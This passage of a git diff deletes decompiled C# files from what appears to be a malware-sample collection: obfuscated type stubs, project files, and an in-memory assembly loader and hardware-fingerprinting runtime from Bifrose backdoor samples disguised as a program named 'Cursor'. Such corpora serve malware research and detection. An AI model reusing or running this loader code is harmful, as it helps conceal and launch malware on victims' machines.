[NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0082\u0098 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_009D.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_009D.cs deleted file mode 100644 index d3555b36..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_009D.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0082\u009D - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_008E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_008E.cs deleted file mode 100644 index 3a882538..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_008E.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ž -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u008E - { - [NativeCppClass] - [CLSCompliant(false)] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - public enum \u00A9 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/®.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/®.cs deleted file mode 100644 index e0b12758..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/®.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.® -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u00AE - { - [CLSCompliant(false)] - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - public enum \u00A9 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ñ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ñ.cs deleted file mode 100644 index 32c74b4f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ñ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ñ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Ñ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ö.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ö.cs deleted file mode 100644 index ab6668f6..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ö.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ö -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct Ö - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ü.cs deleted file mode 100644 index e96bef6b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/Ü.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct Ü - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/è.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/è.cs deleted file mode 100644 index 31aa3ad8..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/è.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.è -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct è - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/_0081Ï.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/_0081Ï.cs deleted file mode 100644 index 2af737d0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/_0081Ï.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.Ï -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 20)] - internal struct \u0081Ï - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/_0099.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/_0099.cs deleted file mode 100644 index 9d1ea800..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/_0099.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.™ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0099 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/¦.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/¦.cs deleted file mode 100644 index 20f8429a..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/¦.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.¦ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u00A6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/¿.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/¿.cs deleted file mode 100644 index dc7c9f06..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/¿.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.¿ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00BF - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/ñ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/ñ.cs deleted file mode 100644 index c2dfa159..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/ñ.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.ñ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 14)] - internal struct ñ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/ü.cs deleted file mode 100644 index 13a67de2..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/õ/ü.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [DebugInfoInPDB] - [NativeCppClass] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 18)] - internal struct ü - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/AssemblyInfo.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/AssemblyInfo.cs deleted file mode 100644 index b19cc14e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Cursor")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCompany("")] -[assembly: CLSCompliant(true)] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/Backdoor.Win32.Bifrose.fvwi.csproj b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/Backdoor.Win32.Bifrose.fvwi.csproj deleted file mode 100644 index 44c5ce29..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/Backdoor.Win32.Bifrose.fvwi.csproj +++ /dev/null @@ -1,121 +0,0 @@ - - - - - Debug - AnyCPU - {F5F88434-AF7C-408F-A497-5302B199F353} - WinExe - Cursor - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/Backdoor.Win32.Bifrose.fvwi.sln b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/Backdoor.Win32.Bifrose.fvwi.sln deleted file mode 100644 index 5d6bfc9c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/Backdoor.Win32.Bifrose.fvwi.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.csproj", "{F5F88434-AF7C-408F-A497-5302B199F353}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {F5F88434-AF7C-408F-A497-5302B199F353}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F5F88434-AF7C-408F-A497-5302B199F353}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F5F88434-AF7C-408F-A497-5302B199F353}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F5F88434-AF7C-408F-A497-5302B199F353}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/PvLogiciels/dotNetProtector/RuntimeInterop.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/PvLogiciels/dotNetProtector/RuntimeInterop.cs deleted file mode 100644 index 416540be..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/PvLogiciels/dotNetProtector/RuntimeInterop.cs +++ /dev/null @@ -1,651 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PvLogiciels.dotNetProtector.RuntimeInterop -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using \u0081é; -using \u0082\u00BC; -using õ; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -namespace PvLogiciels.dotNetProtector -{ - public class RuntimeInterop : IRuntime - { - internal Assembly[] ò; - internal Assembly \u0081\u00BD; - internal string \u0082\u00B4; - - private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(); - - internal RuntimeInterop() => this.ò = new Assembly[0]; - - internal unsafe Assembly \u0081â(IntPtr _param1) - { - int id = AppDomain.CurrentDomain.Id; - byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - _param1 = ptr; - int num1 = Marshal.ReadInt32(ptr); - int length1 = Marshal.ReadInt32(_param1, 4); - int length2 = Marshal.ReadInt32(_param1, 8); - IntPtr source1 = (IntPtr) (void*) (numPtr + 12); - IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12); - byte[] numArray = new byte[length1]; - byte[] destination = numArray; - int length3 = length1; - Marshal.Copy(source1, destination, 0, length3); - Assembly assembly; - if (length2 != 0) - { - byte[] rawSymbolStore = new byte[length2]; - Marshal.Copy(source2, numArray, 0, length2); - assembly = Assembly.Load(numArray, rawSymbolStore); - } - else - assembly = Assembly.Load(numArray); - Marshal.FreeCoTaskMem(_param1); - if ((object) assembly != null && num1 >= 0) - { - Type[] types = assembly.GetTypes(); - IntPtr num2 = types[types.Length - 1].TypeHandle.Value; - \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id); - } - return assembly; - } - - internal static unsafe void Î(Assembly _param0) - { - string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0); - IntPtr ptr = IntPtr.Zero; - if (assemblyString != (string) null) - ptr = Marshal.StringToCoTaskMemAnsi(assemblyString); - \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id); - if (!(ptr != IntPtr.Zero)) - return; - Marshal.FreeCoTaskMem(ptr); - } - - public virtual Assembly GetEntryAssembly() - { - if ((object) \u0081ê.\u0081\u0099 != null) - return \u0081ê.\u0081\u0099; - Assembly entryAssembly = Assembly.GetEntryAssembly(); - if ((object) entryAssembly != null) - { - \u0081ê.\u0081\u0099 = entryAssembly; - return entryAssembly; - } - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - \u0081ê.\u0081\u0099 = executingAssembly; - return executingAssembly; - } - - public static IRuntime InitRuntime() - { - RuntimeInterop runtimeInterop = new RuntimeInterop(); - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit); - return (IRuntime) runtimeInterop; - } - AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084); - return (IRuntime) runtimeInterop; - } - - public static void AppDomain_ProcessExit(object sender, EventArgs e) - { - GC.Collect(); - GC.WaitForPendingFinalizers(); - \u0082\u00BB.\u0081\u0086(); - } - - public virtual void NGenInitRuntime() - { - } - - public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C(); - - public virtual long GetMacAddress() => \u0082\u00BB.Ç(); - - public virtual ulong GetBiosHash() => \u0082\u00BB.Ï(); - - public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id); - - public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3) - { - IntPtr ptr = IntPtr.Zero; - if (Reserved3 != (string) null) - ptr = Marshal.StringToCoTaskMemAnsi(Reserved3); - IntPtr num1 = pReserved1.TypeHandle.Value; - int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id); - if (ptr != IntPtr.Zero) - Marshal.FreeCoTaskMem(ptr); - if (num2 == 2) - { - this.\u0081\u00BD = pReserved1.Assembly; - this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name; - int length = \u0082\u00BB.\u0081\u009B(); - if (length != 0) - { - this.ò = new Assembly[length]; - int index = 0; - if (0 < length) - { - do - { - this.ò[index] = (Assembly) null; - ++index; - } - while (index < length); - } - } - } - return num2; - } - - public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2) - { - IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size); - IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2); - \u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer()); - IntPtr num = Marshal.ReadIntPtr(ptr); - string str = (string) null; - if (num != IntPtr.Zero) - { - string stringAnsi = Marshal.PtrToStringAnsi(num); - Marshal.FreeHGlobal(num); - str = stringAnsi; - } - Marshal.FreeCoTaskMem(ptr); - if (!(coTaskMemAnsi != IntPtr.Zero)) - return str; - Marshal.FreeCoTaskMem(coTaskMemAnsi); - return str; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor) - { - int num; - if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb) - { - IntPtr coTaskMemAnsi = 